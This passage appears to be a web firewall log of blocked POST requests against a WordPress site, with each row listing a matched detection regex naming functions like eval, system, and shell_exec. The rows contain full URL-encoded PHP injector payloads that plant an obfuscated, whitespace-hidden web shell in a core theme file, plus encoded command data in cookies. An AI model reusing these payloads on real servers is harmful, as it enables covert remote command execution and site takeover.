l_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:57:56","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:9346\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\njJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:58:16","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 